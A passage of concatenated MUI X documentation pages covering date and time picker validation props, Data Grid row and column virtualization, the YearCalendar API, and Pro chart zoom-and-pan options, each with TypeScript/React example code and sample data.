const isInCurrentYear = (date: Dayjs) => date.get('year') === dayjs().get('year');

export default function DateValidationShouldDisableYear() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DatePicker', 'DateTimePicker']}>
        <DemoItem label="DatePicker">
          <DatePicker defaultValue={today} shouldDisableYear={isInCurrentYear} />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker defaultValue={today} shouldDisableYear={isInCurrentYear} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Time validation

### Minimum and maximum time

The `minTime` prop prevents the selection of all values between midnight and `props.minTime`.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const fiveAM = dayjs().set('hour', 5).startOf('hour');
const nineAM = dayjs().set('hour', 9).startOf('hour');

export default function TimeValidationMinTime() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'TimePicker',
          'DateTimePicker',
          'TimeRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="TimePicker">
          <TimePicker defaultValue={fiveAM} minTime={nineAM} />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker defaultValue={fiveAM} minTime={nineAM} />
        </DemoItem>
        <DemoItem label="TimeRangePicker" component="TimeRangePicker">
          <TimeRangePicker defaultValue={[fiveAM, nineAM]} minTime={nineAM} />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker defaultValue={[fiveAM, nineAM]} minTime={nineAM} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

The `maxTime` prop prevents the selection of all values between `props.maxTime` and midnight.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker } from '@mui/x-date-pickers/TimePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const fiveAM = dayjs().set('hour', 5).startOf('hour');
const nineAM = dayjs().set('hour', 9).startOf('hour');

export default function TimeValidationMaxTime() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'TimePicker',
          'DateTimePicker',
          'TimeRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="TimePicker">
          <TimePicker defaultValue={nineAM} maxTime={fiveAM} />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker defaultValue={nineAM} maxTime={fiveAM} />
        </DemoItem>
        <DemoItem label="TimeRangePicker" component="TimeRangePicker">
          <TimeRangePicker defaultValue={[fiveAM, nineAM]} maxTime={fiveAM} />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker defaultValue={[fiveAM, nineAM]} maxTime={fiveAM} />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::info
The validation only uses the time part of this prop value. It ignores the day / month / year.
The simplest way to use it is to pass today's date and only care about the hour / minute / seconds.

For example, to disable the afternoon in `dayjs` you can pass `dayjs().set('hour', 12).startOf('hour')`.
:::

### Disable specific time

The `shouldDisableTime` prop prevents the selection of all values for which it returns `true`.

This callback receives the current view and the value to be tested:

```tsx
// Disables the hours between 12 AM and 3 PM.
shouldDisableTime={(value, view) =>
  view === 'hours' && value.hour() > 12 && value.hour() < 15
}

// Disables the last quarter of each hour.
shouldDisableTime={(value, view) => view === 'minutes' && value.minute() >= 45}

// Disables the second half of each minute.
shouldDisableTime={(value, view) => view === 'seconds' && value.second() > 30}

// Disable the hours before 10 AM every 3rd day
shouldDisableTime={(value, view) =>
  view === 'hours' && value.hour() < 10 && value.date() % 3 === 0
}
```

In the example below, the last quarter of each hour is not selectable.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { TimePicker, TimePickerProps } from '@mui/x-date-pickers/TimePicker';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { TimeRangePicker } from '@mui/x-date-pickers-pro/TimeRangePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const shouldDisableTime: TimePickerProps['shouldDisableTime'] = (value, view) =>
  view === 'minutes' && value.minute() >= 45;

const defaultValue = dayjs().set('hour', 10).set('minute', 50).startOf('minute');

export default function TimeValidationShouldDisableTime() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer
        components={[
          'TimePicker',
          'DateTimePicker',
          'TimeRangePicker',
          'DateTimeRangePicker',
        ]}
      >
        <DemoItem label="TimePicker">
          <TimePicker
            defaultValue={defaultValue}
            shouldDisableTime={shouldDisableTime}
          />
        </DemoItem>
        <DemoItem label="DateTimePicker">
          <DateTimePicker
            defaultValue={defaultValue}
            shouldDisableTime={shouldDisableTime}
          />
        </DemoItem>
        <DemoItem label="TimeRangePicker" component="TimeRangePicker">
          <TimeRangePicker
            defaultValue={[defaultValue, defaultValue.add(30, 'minutes')]}
            shouldDisableTime={shouldDisableTime}
          />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[defaultValue, defaultValue.add(30, 'minutes')]}
            shouldDisableTime={shouldDisableTime}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

## Date and time validation

### Minimum and maximum date time

The `minDateTime` prop prevents the selection of all values before `props.minDateTime`.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const todayAtNoon = dayjs().set('hour', 12).startOf('hour');
const todayAt3PM = dayjs().set('hour', 15).startOf('hour');

export default function DateTimeValidationMinDateTime() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimePicker', 'DateTimeRangePicker']}>
        <DemoItem label="DateTimePicker">
          <DateTimePicker defaultValue={todayAtNoon} minDateTime={todayAt3PM} />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[todayAtNoon, todayAt3PM]}
            minDateTime={todayAt3PM}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

The `maxDateTime` prop prevents the selection of all values after `props.maxDateTime`.

```tsx
import dayjs from 'dayjs';
import { DemoContainer, DemoItem } from '@mui/x-date-pickers/internals/demo';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { DateTimeRangePicker } from '@mui/x-date-pickers-pro/DateTimeRangePicker';

const todayAtNoon = dayjs().set('hour', 12).startOf('hour');
const todayAt9AM = dayjs().set('hour', 9).startOf('hour');

export default function DateTimeValidationMaxDateTime() {
  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <DemoContainer components={['DateTimePicker', 'DateTimeRangePicker']}>
        <DemoItem label="DateTimePicker">
          <DateTimePicker defaultValue={todayAtNoon} maxDateTime={todayAt9AM} />
        </DemoItem>
        <DemoItem label="DateTimeRangePicker" component="DateTimeRangePicker">
          <DateTimeRangePicker
            defaultValue={[todayAt9AM, todayAtNoon]}
            maxDateTime={todayAt9AM}
          />
        </DemoItem>
      </DemoContainer>
    </LocalizationProvider>
  );
}

```

:::warning
If you want to set time boundaries independent of the date, use the [`time boundaries`](#minimum-and-maximum-time) instead.

For now, you cannot use `maxDateTime` and `maxTime` together.
`maxDateTime` will override the `maxTime` behavior, and the same goes for `minDateTime` and `minTime`.

```tsx
// Disable the values between 6 PM and midnight for every day
// (tomorrow 5 PM is not disabled).
<DateTimePicker maxTime={dayjs().set('hour', 18).startOf('hour')} />

// Disable the values after today 6 PM (tomorrow 5 PM is disabled).
<DateTimePicker maxDateTime={dayjs().set('hour', 18).startOf('hour')} />

// Disable the values between midnight and 6 PM for every day
// (yesterday 5 PM is not disabled).
<DateTimePicker minTime={dayjs().set('hour', 18).startOf('hour')} />

// Disable the values before today 6 PM (yesterday 5 PM is disabled).
<DateTimePicker minDateTime={dayjs().set('hour', 18).startOf('hour')} />
```

:::

## Show the error

To render the current error, you can subscribe to the `onError` callback which is called every time the error changes.
You can then use the `helperText` prop of the `TextField` to pass your error message to your input as shown below.

Try to type a date that is inside the first quarter of 2022—the error will go away.

```tsx
import * as React from 'react';
import dayjs from 'dayjs';
import Box from '@mui/material/Box';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DatePicker } from '@mui/x-date-pickers/DatePicker';
import { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';
import { DateValidationError } from '@mui/x-date-pickers/models';

const startOfQ12022 = dayjs('2022-01-01T00:00:00.000');
const endOfQ12022 = dayjs('2022-03-31T23:59:59.999');

export default function RenderErrorUnderField() {
  const [error, setError] = React.useState<DateValidationError | null>(null);

  const errorMessage = React.useMemo(() => {
    switch (error) {
      case 'maxDate':
      case 'minDate': {
        return 'Please select a date in the first quarter of 2022';
      }

      case 'invalidDate': {
        return 'Your date is not valid';
      }

      default: {
        return '';
      }
    }
  }, [error]);

  return (
    <LocalizationProvider dateAdapter={AdapterDayjs}>
      <Box width={300}>
        <DatePicker
          defaultValue={dayjs('2022-07-17')}
          onError={(newError) => setError(newError)}
          slotProps={{
            textField: {
              helperText: errorMessage,
            },
          }}
          minDate={startOfQ12022}
          maxDate={endOfQ12022}
        />
      </Box>
    </LocalizationProvider>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/virtualization.md

# Data Grid - Virtualization

The grid is high performing thanks to its rows and columns virtualization engine.

DOM virtualization is what makes it possible for the Data Grid to handle an unlimited\* number of rows and columns.
This is a built-in feature of the rendering engine and greatly improves rendering performance.

_\*unlimited: Browsers set a limit on the number of pixels a scroll container can host: 17.5 million pixels on Firefox, 33.5 million pixels on Chrome, Edge, and Safari. A [reproduction](https://codesandbox.io/s/beautiful-silence-1yifo?file=/src/App.js)._

## Row virtualization [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Row virtualization is the insertion and removal of rows as the Data Grid scrolls vertically.

The grid renders some additional rows above and below the visible rows. You can use `rowBufferPx` prop to hint to the Data Grid the area to render, but this value may not be respected in certain situations, for example during high-speed scrolling.
Row virtualization is limited to 100 rows in the Data Grid component.

:::warning
Row virtualization does not work with the `autoHeight` prop enabled.
:::

## Column virtualization

Column virtualization is the insertion and removal of columns as the Data Grid scrolls horizontally.

- Overscanning by at least one column lets the arrow key focus on the next (not yet visible) item.
- Overscanning slightly can reduce or prevent a flash of empty space when a user first starts scrolling.
- Overscanning more lets the built-in search feature of the browser find more matching cells.
- Overscanning too much can negatively impact performance.

By default, columns coming under 150 pixels region are rendered outside of the viewport. You can change this option with the `columnBufferPx` prop. As for `rowBufferPx`, the value may be ignored in some situations. The following demo renders 1,000 columns in total:

```tsx
import * as React from 'react';
import { DataGrid, GridColDef, GridRowId } from '@mui/x-data-grid';

export interface DataRowModel {
  id: GridRowId;
  [price: string]: number | string;
}

export interface GridData {
  columns: GridColDef[];
  rows: DataRowModel[];
}

function useData(rowLength: number, columnLength: number) {
  const [data, setData] = React.useState<GridData>({ columns: [], rows: [] });

  React.useEffect(() => {
    const rows: DataRowModel[] = [];

    for (let i = 0; i < rowLength; i += 1) {
      const row: DataRowModel = {
        id: i,
      };

      for (let j = 1; j <= columnLength; j += 1) {
        row[`price${j}M`] = `${i.toString()}, ${j} `;
      }

      rows.push(row);
    }

    const columns: GridColDef[] = [];

    for (let j = 1; j <= columnLength; j += 1) {
      columns.push({ field: `price${j}M`, headerName: `${j}M` });
    }

    setData({
      rows,
      columns,
    });
  }, [rowLength, columnLength]);

  return data;
}

export default function ColumnVirtualizationGrid() {
  const data = useData(100, 1000);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid {...data} columnBufferPx={100} />
    </div>
  );
}

```

You can disable column virtualization by calling `apiRef.current.unstable_setColumnVirtualization(false)`, or by setting the [`columnBufferPx`](/x/api/data-grid/data-grid/#data-grid-prop-columnBufferPx) to a high value.

:::info
Column virtualization is disabled when dynamic row height is enabled.
See [dynamic row height and column virtualization](/x/react-data-grid/row-height/#column-virtualization) to learn more.
:::

## Disable virtualization

The virtualization can be disabled completely using the `disableVirtualization` prop.
You may want to turn it off to be able to test the Data Grid with a headless browser, like jsdom.

```tsx
<DataGrid {...data} disableVirtualization />
```

:::warning
Disabling the virtualization will increase the size of the DOM and drastically reduce the performance.
Use it only for testing purposes or on small datasets.
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/date-pickers/year-calendar.md

# YearCalendar API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom slots and subcomponents](/x/react-date-pickers/custom-components/)
- [Date Calendar](/x/react-date-pickers/date-calendar/)

## Import

```jsx
import { YearCalendar } from '@mui/x-date-pickers/YearCalendar';
// or
import { YearCalendar } from '@mui/x-date-pickers';
// or
import { YearCalendar } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| onChange | `function(value: PickerValidDate) => void` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| referenceDate | `object` | `The closest valid year using the validation props, except callbacks such as `shouldDisableYear`.` | No |  |
| shouldDisableYear | `function(year: PickerValidDate) => boolean` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| yearsOrder | `'asc' \| 'desc'` | `'asc'` | No |  |
| yearsPerRow | `3 \| 4` | `3` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

> Any other props supplied will be provided to the root element (native element).

## Theme default props

You can use `MuiYearCalendar` to change the default props of this component with the theme.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| yearButton | `YearCalendarButton` | - | Button displayed to render a single year in the `year` view. |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | button | Styles applied to the button element that represents a single year |
| `.Mui-disabled` | - | Styles applied to a disabled button element. |
| - | root | Styles applied to the root element. |
| `.Mui-selected` | - | Styles applied to a selected button element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/YearCalendar/YearCalendar.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/YearCalendar/YearCalendar.tsx)

---

# Source: https://mui.com/x/react-charts/zoom-and-pan.md

---
title: Charts - Zoom and pan
productId: x-charts
components: ScatterChartPro, BarChartPro, LineChartPro, ChartZoomSlider, ChartsBrushOverlay
---

# Charts - Zoom and pan [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Enables zooming and panning on specific charts or axis.

Zooming is possible on the Pro and Premium versions of line, bar, scatter, and heatmap charts.

## Basic usage

To enable zooming and panning, set the `zoom` prop to `true` on the wanted axis.

Enabling zoom will enable all the interactions, which are made to be as intuitive as possible.

The following actions are enabled by default:

- **Scroll**: Zoom in/out by scrolling the mouse wheel.
- **Drag**: Pan the chart by dragging the mouse.
- **Pinch**: Zoom in/out by pinching the chart.

Additional zoom interactions can be enabled through configuration:

- **Tap and drag**: Zoom in/out by tapping twice and then dragging vertically.

```tsx
import { ScatterChartPro } from '@mui/x-charts-pro/ScatterChartPro';

export default function ZoomScatterChart() {
  return (
    <ScatterChartPro
      height={300}
      xAxis={[
        {
          zoom: true,
        },
      ]}
      yAxis={[
        {
          zoom: true,
        },
      ]}
      series={series}
    />
  );
}

const data = [
  {
    id: 'data-0',
    x1: 329.39,
    x2: 391.29,
    y1: 443.28,
    y2: 153.9,
  },
  {
    id: 'data-1',
    x1: 96.94,
    x2: 139.6,
    y1: 110.5,
    y2: 217.8,
  },
  {
    id: 'data-2',
    x1: 336.35,
    x2: 282.34,
    y1: 175.23,
    y2: 286.32,
  },
  {
    id: 'data-3',
    x1: 159.44,
    x2: 384.85,
    y1: 195.97,
    y2: 325.12,
  },
  {
    id: 'data-4',
    x1: 188.86,
    x2: 182.27,
    y1: 351.77,
    y2: 144.58,
  },
  {
    id: 'data-5',
    x1: 143.86,
    x2: 360.22,
    y1: 43.253,
    y2: 146.51,
  },
  {
    id: 'data-6',
    x1: 202.02,
    x2: 209.5,
    y1: 376.34,
    y2: 309.69,
  },
  {
    id: 'data-7',
    x1: 384.41,
    x2: 258.93,
    y1: 31.514,
    y2: 236.38,
  },
  {
    id: 'data-8',
    x1: 256.76,
    x2: 70.571,
    y1: 231.31,
    y2: 440.72,
  },
  {
    id: 'data-9',
    x1: 143.79,
    x2: 419.02,
    y1: 108.04,
    y2: 20.29,
  },
  {
    id: 'data-10',
    x1: 103.48,
    x2: 15.886,
    y1: 321.77,
    y2: 484.17,
  },
  {
    id: 'data-11',
    x1: 272.39,
    x2: 189.03,
    y1: 120.18,
    y2: 54.962,
  },
  {
    id: 'data-12',
    x1: 23.57,
    x2: 456.4,
    y1: 366.2,
    y2: 418.5,
  },
  {
    id: 'data-13',
    x1: 219.73,
    x2: 235.96,
    y1: 451.45,
    y2: 181.32,
  },
  {
    id: 'data-14',
    x1: 54.99,
    x2: 434.5,
    y1: 294.8,
    y2: 440.9,
  },
  {
    id: 'data-15',
    x1: 134.13,
    x2: 383.8,
    y1: 121.83,
    y2: 273.52,
  },
  {
    id: 'data-16',
    x1: 12.7,
    x2: 270.8,
    y1: 287.7,
    y2: 346.7,
  },
  {
    id: 'data-17',
    x1: 176.51,
    x2: 119.17,
    y1: 134.06,
    y2: 74.528,
  },
  {
    id: 'data-18',
    x1: 65.05,
    x2: 78.93,
    y1: 104.5,
    y2: 150.9,
  },
  {
    id: 'data-19',
    x1: 162.25,
    x2: 63.707,
    y1: 413.07,
    y2: 26.483,
  },
  {
    id: 'data-20',
    x1: 68.88,
    x2: 150.8,
    y1: 74.68,
    y2: 333.2,
  },
  {
    id: 'data-21',
    x1: 95.29,
    x2: 329.1,
    y1: 360.6,
    y2: 422.0,
  },
  {
    id: 'data-22',
    x1: 390.62,
    x2: 10.01,
    y1: 330.72,
    y2: 488.06,
  },
];

const series = [
  {
    label: 'Series A',
    data: data.map((v) => ({ x: v.x1, y: v.y1, id: v.id })),
  },
  {
    label: 'Series B',
    data: data.map((v) => ({ x: v.x1, y: v.y2, id: v.id })),
  },
];

```
```tsx
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';

export default function ZoomBarChart() {
  return (
    <BarChartPro
      height={300}
      xAxis={[{ data: data.map((v, i) => i), zoom: true }]}
      series={series}
    />
  );
}

const data = [
  {
    y1: 443.28,
    y2: 153.9,
  },
  {
    y1: 110.5,
    y2: 217.8,
  },
  {
    y1: 175.23,
    y2: 286.32,
  },
  {
    y1: 195.97,
    y2: 325.12,
  },
  {
    y1: 351.77,
    y2: 144.58,
  },
  {
    y1: 43.253,
    y2: 146.51,
  },
  {
    y1: 376.34,
    y2: 309.69,
  },
  {
    y1: 31.514,
    y2: 236.38,
  },
  {
    y1: 231.31,
    y2: 440.72,
  },
  {
    y1: 108.04,
    y2: 20.29,
  },
  {
    y1: 321.77,
    y2: 484.17,
  },
  {
    y1: 120.18,
    y2: 54.962,
  },
  {
    y1: 366.2,
    y2: 418.5,
  },
  {
    y1: 451.45,
    y2: 181.32,
  },
  {
    y1: 294.8,
    y2: 440.9,
  },
  {
    y1: 121.83,
    y2: 273.52,
  },
  {
    y1: 287.7,
    y2: 346.7,
  },
  {
    y1: 134.06,
    y2: 74.528,
  },
  {
    y1: 104.5,
    y2: 150.9,
  },
  {
    y1: 413.07,
    y2: 26.483,
  },
  {
    y1: 74.68,
    y2: 333.2,
  },
  {
    y1: 360.6,
    y2: 422.0,
  },
  {
    y1: 330.72,
    y2: 488.06,
  },
];

const series = [
  {
    label: 'Series A',
    data: data.map((v) => v.y1),
  },
  {
    label: 'Series B',
    data: data.map((v) => v.y2),
  },
];

```
```tsx
import { LineChartPro } from '@mui/x-charts-pro/LineChartPro';

export default function ZoomLineChart() {
  return (
    <LineChartPro
      height={300}
      xAxis={[
        {
          zoom: true,
          scaleType: 'point',
          data: data.map((v, i) => i),
        },
      ]}
      series={series}
    />
  );
}

const data = [
  {
    y1: 443.28,
    y2: 153.9,
  },
  {
    y1: 110.5,
    y2: 217.8,
  },
  {
    y1: 175.23,
    y2: 286.32,
  },
  {
    y1: 195.97,
    y2: 325.12,
  },
  {
    y1: 351.77,
    y2: 144.58,
  },
  {
    y1: 43.253,
    y2: 146.51,
  },
  {
    y1: 376.34,
    y2: 309.69,
  },
  {
    y1: 31.514,
    y2: 236.38,
  },
  {
    y1: 231.31,
    y2: 440.72,
  },
  {
    y1: 108.04,
    y2: 20.29,
  },
  {
    y1: 321.77,
    y2: 484.17,
  },
  {
    y1: 120.18,
    y2: 54.962,
  },
  {
    y1: 366.2,
    y2: 418.5,
  },
  {
    y1: 451.45,
    y2: 181.32,
  },
  {
    y1: 294.8,
    y2: 440.9,
  },
  {
    y1: 121.83,
    y2: 273.52,
  },
  {
    y1: 287.7,
    y2: 346.7,
  },
  {
    y1: 134.06,
    y2: 74.528,
  },
  {
    y1: 104.5,
    y2: 150.9,
  },
  {
    y1: 413.07,
    y2: 26.483,
  },
  {
    y1: 74.68,
    y2: 333.2,
  },
  {
    y1: 360.6,
    y2: 422.0,
  },
  {
    y1: 330.72,
    y2: 488.06,
  },
];

const series = [
  {
    label: 'Series A',
    data: data.map((v) => v.y1),
  },
  {
    label: 'Series B',
    data: data.map((v) => v.y2),
  },
];

```
```tsx
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { Heatmap, HeatmapCellProps } from '@mui/x-charts-pro/Heatmap';
import {
  AxisValueFormatterContext,
  HeatmapValueType,
  XAxis,
  YAxis,
} from '@mui/x-charts-pro/models';
import { useTheme } from '@mui/system';
import { ChartsTooltipContainer, useItemTooltip } from '@mui/x-charts/ChartsTooltip';
import data from '../dataset/muiXCommits2024.json';

const seriesData: HeatmapValueType[] = [];

let maxContributions = 0;

const firstWeekDay = new Date('2023-12-31').getTime();
for (const datum of data) {
  const date = new Date(datum.date);
  const weekNumber = Math.floor(
    (date.getTime() - firstWeekDay) / (7 * 24 * 60 * 60 * 1000),
  );
  const weekDay = date.getDay();
  const value = datum.count;
  seriesData.push([weekNumber, weekDay, value]);

  maxContributions = Math.max(maxContributions, value);
}

const weeks = Array.from({ length: 53 }).map(
  (_, i) => new Date(2023, 11, 31 + i * 7),
);
const weekDays = Array.from({ length: 7 }).map((_, i) => i);

const darkThemeColors = ['#151b23', '#033a16', '#196c2e', '#2ea043', '#56d364'];
const lightThemeColors = ['#eff2f5', '#aceebb', '#4ac26b', '#2da44e', '#116329'];

const xAxis = {
  data: weeks,
  valueFormatter: (date) => {
    if (date.getDate() < 8) {
      return date.toLocaleString('en-US', { month: 'short' });
    }

    return '';
  },
  tickSize: 0,
  ordinalTimeTicks: ['months', 'weeks'],
  position: 'top',
  disableLine: true,
  categoryGapRatio: 0.1,
} satisfies XAxis<'band'>;

const yAxis = {
  data: weekDays,
  tickSize: 0,
  valueFormatter: formatWeekDay,
  disableLine: true,
  categoryGapRatio: 0.1,
} satisfies YAxis<'band'>;

export default function ZoomHeatmap() {
  const theme = useTheme();

  return (
    <Stack width="100%">
      <Typography variant="h6" align="center">
        Daily Commit Count to MUI X Repo (2024)
      </Typography>
      <Heatmap
        height={160}
        xAxis={[{ ...xAxis, zoom: { minSpan: 60 } }]}
        yAxis={[yAxis]}
        zAxis={[
          {
            min: 0,
            max: maxContributions,
            colorMap: {
              type: 'piecewise',
              thresholds: [0.01, 0.33, 0.66, 1].map((v) => v * maxContributions),
              colors:
                theme.palette.mode === 'light' ? lightThemeColors : darkThemeColors,
            },
          },
        ]}
        series={[{ data: seriesData }]}
        slots={{ cell: HeatmapCell, tooltip: Tooltip }}
      />
      <Typography variant="caption">Source: GitHub</Typography>
    </Stack>
  );
}

const formattedWeekDays = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];

function formatWeekDay(value: number, context: AxisValueFormatterContext): string {
  if (context.location === 'tick') {
    switch (value) {
      case 1:
      case 3:
      case 5:
        return formattedWeekDays[value];
      default:
        return '';
    }
  }

  return formattedWeekDays[value];
}

function Tooltip() {
  return (
    <ChartsTooltipContainer trigger="item" position="top">
      <TooltipContent />
    </ChartsTooltipContainer>
  );
}

function TooltipContent() {
  const tooltipData = useItemTooltip<'heatmap'>();

  if (!tooltipData) {
    return null;
  }

  const { value } = tooltipData;

  const date = new Date(2023, 11, 31 + value[0] * 7 + value[1]);

  return (
    <Stack
      sx={(theme) => ({
        background: theme.palette.background.paper,
        borderRadius: 2,
        paddingX: 1,
        paddingY: 0.5,
      })}
    >
      <Typography>
        {value[2]} contribution{value[2] === 1 ? '' : 's'} on{' '}
        {date.toLocaleString('en-US', { month: 'long', day: 'numeric' })}
      </Typography>
    </Stack>
  );
}

function HeatmapCell({ ownerState, ...props }: HeatmapCellProps) {
  return <rect {...props} rx={4} ry={4} fill={ownerState.color} />;
}

```

## Zooming options

You can customize the zooming behavior by setting the `zoomOptions` prop.

The following options are available:

- **minStart**: The starting percentage of the axis range. Between 0 and 100.
- **maxEnd**: The ending percentage of the zoom range.
- **step**: The step of the zooming function. Defines the granularity of the zoom.
- **minSpan**: Restricts the minimum span size.
- **maxSpan**: Restricts the maximum span size.
- **panning**: Enables or disables panning.

```tsx
import { BarChartPro } from '@mui/x-charts-pro/BarChartPro';
import ChartsUsageDemo from 'docsx/src/modules/components/ChartsUsageDemo';

const knobs = {
  panning: {
    knob: 'switch',
    defaultValue: true,
  },
  minStart: {
    knob: 'number',
    defaultValue: 0,
    step: 1,
    min: 0,
    max: 50,
  },
  maxEnd: {
    knob: 'number',
    defaultValue: 100,
    step: 1,
    min: 50,
    max: 100,
  },
  minSpan: {
    knob: 'number',
    defaultValue: 10,
    step: 1,
    min: 0,
    max: 100,
  },
  maxSpan: {
    knob: 'number',
    defaultValue: 100,
    step: 1,
    min: 0,
    max: 100,
  },
  step: {
    knob: 'number',
    defaultValue: 5,
    step: 1,
    min: 1,
    max: 100,
  },
} as const;

export default function ZoomOptions() {
  return (
    <ChartsUsageDemo
      componentName="Zoom Options demo"
      data={knobs}
      renderDemo={(props) => (
        <div style={{ width: '100%', margin: 4 }}>
          <BarChartPro
            height={300}
            xAxis={[
              {
                data: data.map((v, i) => i),
                zoom: props,
              },
            ]}
            series={series}
          />
        </div>
      )}
      getCode={({ props }) => {
        return `import { BarChart } from '@mui/x-charts/BarChart';

<BarChart
  // ...
  xAxis={[
    {
  // ...
  zoom: {
    minStart: ${props.minStart},
    maxEnd: ${props.maxEnd},
    minSpan: ${props.minSpan},
    maxSpan: ${props.maxSpan},
    step: ${props.step},
    panning: ${props.panning},
  }
    }
  ]}
/>`;
      }}
    />
  );
}

const data = [
  {
    y1: 443.28,
    y2: 153.9,
  },
  {
    y1: 110.5,
    y2: 217.8,
  },
  {
    y1: 175.23,
    y2: 286.32,
  },
  {
    y1: 195.97,
    y2: 325.12,
  },
  {
    y1: 351.77,
    y2: 144.58,
  },
  {
    y1: 43.253,
    y2: 146.51,
  },
  {
    y1: 376.34,
    y2: 309.69,
  },
  {
    y1: 31.514,
    y2: 236.38,
  },
  {
    y1: 231.31,
    y2: 440.72,
  },
  {
    y1: 108.04,
    y2: 20.29,
  },
];

const series = [
  {
    label: 'Series A',
    data: data.map((v) => v.y1),
  },
  {
    label: 'Series B',
    data: data.map((v) => v.y2),
  },
];

```

## Zoom filtering

You can make the zoom of an axis affect one or more axes extremums by setting the `zoom.filterMode` prop on the axis config.

- If `zoom.filterMode` is set to `"discard"` the data points outside the visible range of this axis are filtered out and the other axes will modify their zoom range to fit the visible ones.
